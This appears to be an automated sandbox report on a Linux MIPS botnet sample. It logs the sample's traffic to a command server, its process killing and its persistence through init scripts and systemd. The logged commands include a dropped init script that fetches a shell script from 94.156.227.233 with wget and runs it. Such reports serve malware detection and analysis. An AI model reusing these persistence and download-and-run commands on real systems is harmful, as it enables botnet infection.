Source: mipsel.nn.elf |
ReversingLabs: Detection: 39% |
Source: mipsel.nn.elf |
String: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginnfstftpftpmalloc[start_pid_hopping] Failed to clone: %s |
Source: global traffic |
TCP traffic: 192.168.2.23:60008 -> 94.156.227.234:38242 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.189.91.42 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.189.91.43 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 109.202.202.202 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 94.156.227.234 |
Source: mipsel.nn.elf, mipsel.nn.elf.32.dr, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr |
String found in binary or memory: http://94.156.227.233/ |
Source: mipsel.nn.elf |
String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 33606 |
Source: unknown |
Network traffic detected: HTTP traffic on port 43928 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 33606 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 42836 -> 443 |
Source: Initial sample |
String containing 'busybox' found: /bin/busybox |
Source: Initial sample |
String containing 'busybox' found: tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234locked Process: PID=%d, Bot-ID:%sFound And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/./fd/socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/ |
Source: ELF static info symbol of initial sample |
.symtab present: no |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
SIGKILL sent: pid: 6402, result: successful |
Jump to behavior |
Source: classification engine |
Classification label: mal80.spre.troj.evad.linELF@0/10@0/0 |
Source: /tmp/mipsel.nn.elf (PID: 6231) |
File: /etc/rc.local |
Jump to behavior |
Source: /usr/bin/ln (PID: 6292) |
File: /etc/rcS.d/S99system -> /etc/init.d/system |
Jump to behavior |
Source: /usr/bin/ln (PID: 6309) |
File: /etc/rc.d/S99mipsel.nn.elf -> /etc/init.d/mipsel.nn.elf |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6231) |
File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6286) |
File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6300) |
File: /etc/init.d/mipsel.nn.elf (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6395/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6394/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6355/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6410/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/4331/cmdline |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6412/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6059/cmdline |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6411/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/3021/cmdline |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6391/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6390/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6393/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6370/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6392/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/799/cmdline |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6369/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6402/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6405/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6404/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6426/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6407/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6406/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6409/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6408/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6384/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6383/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6386/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6385/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6388/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6421/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6387/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6420/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6423/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6389/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6422/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6380/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6382/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6381/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6414/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6413/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6416/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6415/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6418/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6417/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6312) |
File opened: /proc/6419/status |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6251) |
Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6284) |
Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6287) |
Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6293) |
Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/mipsel.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting mipsel.nn.elf'\n /tmp/mipsel.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping mipsel.nn.elf'\n killall mipsel.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/mipsel.nn.elf" |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6298) |
Shell command executed: sh -c "chmod +x /etc/init.d/mipsel.nn.elf >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6301) |
Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6304) |
Shell command executed: sh -c "ln -s /etc/init.d/mipsel.nn.elf /etc/rc.d/S99mipsel.nn.elf >/dev/null 2>&1" |
Jump to behavior |
Source: /bin/sh (PID: 6286) |
Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system |
Jump to behavior |
Source: /bin/sh (PID: 6300) |
Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mipsel.nn.elf |
Jump to behavior |
Source: /bin/sh (PID: 6303) |
Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d |
Jump to behavior |
Source: /usr/bin/dash (PID: 6402) |
Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.aMCx9Fums0 /tmp/tmp.JCLTTmWabl /tmp/tmp.SRiGvKqYas |
Jump to behavior |
Source: /usr/bin/dash (PID: 6403) |
Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.aMCx9Fums0 /tmp/tmp.JCLTTmWabl /tmp/tmp.SRiGvKqYas |
Jump to behavior |
Source: /bin/sh (PID: 6259) |
Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6231) |
File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6286) |
File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6300) |
File: /etc/init.d/mipsel.nn.elf (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /tmp/mipsel.nn.elf (PID: 6231) |
Writes shell script file to disk with an unusual file extension: /etc/init.d/system |
Jump to dropped file |
Source: /tmp/mipsel.nn.elf (PID: 6231) |
Writes shell script file to disk with an unusual file extension: /etc/rc.local |
Jump to dropped file |
Source: /bin/sh (PID: 6293) |
Writes shell script file to disk with an unusual file extension: /etc/init.d/mipsel.nn.elf |
Jump to dropped file |
Source: /tmp/mipsel.nn.elf (PID: 6231) |
File: /etc/init.d/system |
Jump to dropped file |
Source: /bin/sh (PID: 6293) |
File: /etc/init.d/mipsel.nn.elf |
Jump to dropped file |
Source: /tmp/mipsel.nn.elf (PID: 6231) |
Queries kernel information via 'uname': |
Jump to behavior |
Source: mipsel.nn.elf, 6231.1.000055a45f69f000.000055a45f747000.rw-.sdmp |
Binary or memory string: /etc/qemu-binfmt/mipsel |
Source: mipsel.nn.elf, 6231.1.00007ffe0f8e1000.00007ffe0f902000.rw-.sdmp |
Binary or memory string: /qemu-open.XXXXX |
Source: mipsel.nn.elf, 6231.1.000055a45f69f000.000055a45f747000.rw-.sdmp |
Binary or memory string: /usr/bin/vmtoolsd |
Source: mipsel.nn.elf, 6231.1.000055a45f69f000.000055a45f747000.rw-.sdmp |
Binary or memory string: /etc/qemu-binfmtP |
Source: mipsel.nn.elf, 6231.1.00007ffe0f8e1000.00007ffe0f902000.rw-.sdmp |
Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/mipsel.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mipsel.nn.elf |
Source: mipsel.nn.elf, 6231.1.00007ffe0f8e1000.00007ffe0f902000.rw-.sdmp |
Binary or memory string: /tmp/qemu-open.EBsJ7m |
Source: mipsel.nn.elf, 6231.1.000055a45f69f000.000055a45f747000.rw-.sdmp |
Binary or memory string: U!/etc/qemu-binfmt/mipsel |
Source: mipsel.nn.elf, 6231.1.00007ffe0f8e1000.00007ffe0f902000.rw-.sdmp |
Binary or memory string: U/tmp/qemu-open.EBsJ7m\ |
Source: mipsel.nn.elf, 6231.1.000055a45f69f000.000055a45f747000.rw-.sdmp |
Binary or memory string: U0!/usr/bin/vmtoolsd |
Source: mipsel.nn.elf, 6231.1.000055a45f69f000.000055a45f747000.rw-.sdmp |
Binary or memory string: /etc/qemu-binfmtP /proc/2761/exeddressbooQ |
Source: mipsel.nn.elf, 6231.1.00007ffe0f8e1000.00007ffe0f902000.rw-.sdmp |
Binary or memory string: /usr/bin/qemu-mipsel |
Source: Yara match |
File source: mipsel.nn.elf, type: SAMPLE |
Source: Yara match |
File source: 6231.1.00007f4bec400000.00007f4bec41c000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: mipsel.nn.elf PID: 6231, type: MEMORYSTR |
Source: Yara match |
File source: mipsel.nn.elf, type: SAMPLE |
Source: Yara match |
File source: 6231.1.00007f4bec400000.00007f4bec41c000.r-x.sdmp, type: MEMORY |
Source: Yara match |
File source: Process Memory Space: mipsel.nn.elf PID: 6231, type: MEMORYSTR |